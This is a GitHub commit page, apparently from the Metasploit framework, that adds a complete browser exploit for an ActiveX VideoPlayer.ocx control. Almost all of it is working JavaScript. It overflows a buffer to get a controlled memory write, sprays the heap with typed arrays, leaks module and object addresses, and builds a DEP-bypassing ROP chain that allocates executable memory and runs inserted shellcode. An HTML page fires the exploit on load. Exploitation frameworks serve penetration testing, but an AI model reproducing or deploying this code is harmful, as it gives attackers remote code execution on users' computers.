Skip to content

Commit 0f0c955

Browse files
author
Matthew Hall
committed
Merge pull request #2 from jvazquez-r7/mixin_design_3074
Move code from Rex to mixin
2 parents 934af4c + b853244 commit 0f0c955

File tree

168 files changed

+6487
-2558
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

168 files changed

+6487
-2558
lines changed

data/exploits/edb-35948/js/exploit.js

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
var Exploit = function () {
2+
// create its vulnerable ActiveX object (as HTMLObjectElement)
3+
this.obj = document.createElement("object");
4+
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
5+
// perform controlled memwrite to 0x1111f010: typed array header is at
6+
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
7+
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
8+
// The first 3 dwords are sideeffects due to the code we abuse for the
9+
// controlled memcpy
10+
this.whereAddress = 0x1111f010;
11+
this.memory = null;
12+
this.addresses = new Object();
13+
this.sprayer = null;
14+
this.informer = null;
15+
this.sc = "<%=shellcode%>";
16+
};
17+
18+
Exploit.prototype.run = function() {
19+
CollectGarbage();
20+
this.sprayer = new Sprayer();
21+
this.sprayer.spray();
22+
23+
this.memory = this.doCorruption();
24+
25+
//alert(this.memory.length.toString(16))
26+
if (this.memory.length != 0x7fffffff){
27+
//alert("Cannot change Uint32Array length");
28+
return -1;
29+
}
30+
31+
// now we could even repair the change we did with memcpy ...
32+
33+
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
34+
var leakSuccess = this.leakAddresses();
35+
36+
if (leakSuccess != 0) {
37+
//alert("Cannot leak required address to build the ROP chain");
38+
return leakSuccess;
39+
}
40+
41+
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
42+
ropBuilder.buildRop();
43+
44+
// manipulate object data to gain EIP control with "Play" method
45+
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
46+
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
47+
48+
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
49+
this.obj.Play()
50+
};
51+
52+
Exploit.prototype.prepareOverflow = function() {
53+
// prepare buffer with address we want to write to
54+
var ptrBuf = "";
55+
// fill buffer: length = relative pointer address - buffer start + pointer
56+
// offset
57+
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
58+
ptrBuf += this.dword2str(this.whereAddress);
59+
60+
return ptrBuf;
61+
};
62+
63+
Exploit.prototype.doCorruption = function() {
64+
var ptrBuf = this.prepareOverflow();
65+
66+
// trigger: overflow buffer and overwrite the pointer value after buffer
67+
this.obj.SetText(ptrBuf, 0, 0);
68+
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
69+
70+
// use overwritten pointer after buffer with method "SetFontName" to conduct
71+
// memory write. We overwrite a typed array's header length to 0x40 and let
72+
// its buffer point to the next typed array header at 0x1111f030 (see above)
73+
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
74+
75+
76+
if (this.sprayer.find() == -1){
77+
//alert("cannot find corrupted Uint32Array");
78+
return -1
79+
}
80+
81+
// modify subsequent Uint32Array to be able to RW all process memory
82+
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
83+
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
84+
85+
// our memory READWRITE interface :)
86+
return this.sprayer.fullMemory;
87+
};
88+
89+
Exploit.prototype.leakAddresses = function() {
90+
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
91+
92+
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
93+
94+
// check if we have the image of VideoPlayer.ocx
95+
// check for MZ9000 header and "Vide" string at offset 0x6a000
96+
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
97+
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
98+
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
99+
return -1;
100+
}
101+
//alert(this.addresses['base'].toString(16))
102+
103+
// get VirtualAlloc from imports of VideoPlayer.ocx
104+
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
105+
// memcpy is available inside VideoPlayer.ocx
106+
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
107+
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
108+
109+
scBuf = new Uint8Array(this.sc.length);
110+
for (n=0; n < this.sc.length; n++){
111+
scBuf[n] = this.sc.charCodeAt(n);
112+
}
113+
114+
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
115+
116+
return 0;
117+
};
118+
119+
// dword to little endian string
120+
Exploit.prototype.dword2str = function(dword) {
121+
var str = "";
122+
for (var n=0; n < 4; n++){
123+
str += String.fromCharCode((dword >> 8 * n) & 0xff);
124+
}
125+
return str;
126+
};
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
var Informer = function(infArray, mem, ref) {
2+
this.infoLeakArray = infArray;
3+
this.memoryArray = mem;
4+
this.referenceAddress = ref;
5+
};
6+
7+
// Calculate VideoPlayer.ocx base
8+
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
9+
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
10+
//alert(mem[0x11120020/4].toString(16))
11+
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
12+
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
13+
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
14+
// deref heap pointer containing VideoPlayer.ocx pointer
15+
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
16+
var base = videoplayerPtr - 0x6b3b0; // calculate base
17+
18+
return base;
19+
};
20+
21+
// Calculate VideoPlayer object addres
22+
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
23+
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
24+
//alert(mem[0x11120020/4].toString(16))
25+
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
26+
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
27+
28+
return objPtr;
29+
};
30+
31+
// Calculate the shellcode address
32+
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
33+
this.infoLeakArray[0] = shellcodeBuffer;
34+
// therefore, leak array element at 0x11120020 (typed array header of
35+
// Uint8Array containing shellcode) ...
36+
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
37+
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
38+
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
39+
40+
return shellcodeAddr;
41+
};
42+
43+
44+
Informer.prototype.leakRopAddress = function(ropArray) {
45+
this.infoLeakArray[0] = ropArray
46+
// leak array element at 0x11120020 (typed array header)
47+
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
48+
// deref array element + 0x1c (leak rop's buffer address)
49+
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
50+
51+
return ropAddr;
52+
};
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
var RopBuilder = function(informer, addresses, scLength) {
2+
this.rop = new Uint32Array(0x1000);
3+
this.ropAddress = informer.leakRopAddress(this.rop);
4+
this.base = addresses['base'];
5+
this.virtualAlloc = addresses['virtualAlloc'];
6+
this.memcpy = addresses['memcpy'];
7+
this.scAddr = addresses['shellcode'];
8+
this.scLength = scLength;
9+
};
10+
11+
// Build the ROP chain to bypass DEP
12+
RopBuilder.prototype.buildRop = function() {
13+
// ROP chain (rets in comments are omitted)
14+
// we perform:
15+
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
16+
// memcpy(EAX, shellcode, shellcodeLen)
17+
// (void(*)())EAX()
18+
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
19+
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
20+
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
21+
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
22+
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
23+
this.rop[offs + 0x3] = 0; // lpAddress
24+
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
25+
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
26+
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
27+
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
28+
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
29+
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
30+
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
31+
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
32+
this.rop[offs + 0xc] = this.memcpy;
33+
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
34+
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
35+
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
36+
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
37+
};
38+

data/exploits/edb-35948/js/sprayer.js

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
var Sprayer = function () {
2+
// amount of arrays to create on the heap
3+
this.nrArrays = 0x1000;
4+
// size of data in one array block: 0xefe0 bytes =>
5+
// subract array header (0x20) and space for typed array headers (0x1000)
6+
// from 0x10000
7+
this.arrSize = (0x10000-0x20-0x1000)/4;
8+
// heap array container will hold our heap sprayed data
9+
this.arr = new Array(this.nrArrays);
10+
// use one buffer for all typed arrays
11+
this.intArrBuf = new ArrayBuffer(4);
12+
this.corruptedArray = null;
13+
this.corruptedArrayNext = null;
14+
};
15+
16+
// Spray the heap with array data blocks and subsequent typed array headers
17+
// of type Uint32Array
18+
Sprayer.prototype.spray = function() {
19+
var k = 0;
20+
while(k < this.nrArrays) {
21+
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
22+
// aligned at 0xXXXX0020)
23+
this.arr[k] = new Array(this.arrSize);
24+
25+
// fill remaining page (0x1000) after array data with headers of
26+
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
27+
// typed array header has the size of 0x30. 0x10 bytes are left empty
28+
for(var i = 0; i < 0x55; i++){
29+
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
30+
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
31+
}
32+
33+
// tag the array's last element
34+
this.arr[k][this.arrSize - 1] = 0x12121212;
35+
k += 1;
36+
}
37+
};
38+
39+
// Find the corrupted Uint32Array (typed array)
40+
Sprayer.prototype.find = function() {
41+
var k = 0;
42+
43+
while(k < this.nrArrays - 1) {
44+
for(var i = 0; i < 0x55-1; i++){
45+
if(this.arr[k][i][0] != 0){
46+
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
47+
// alert("0x" + arr[k][i][0].toString(16))
48+
this.corruptedArray = this.arr[k][i];
49+
this.corruptedArrayNext = this.arr[k+1];
50+
this.fullMemory = this.arr[k][i+1];
51+
return 1;
52+
}
53+
}
54+
k++;
55+
}
56+
57+
return -1;
58+
};

data/exploits/edb-35948/main.html

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<script src="js/exploit.js"></script>
5+
<script src="js/sprayer.js"></script>
6+
<script src="js/informer.js"></script>
7+
<script src="js/rop_builder.js"></script>
8+
</head>
9+
<body onload="e = new Exploit(); e.run();">
10+
</body>
11+
</html>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)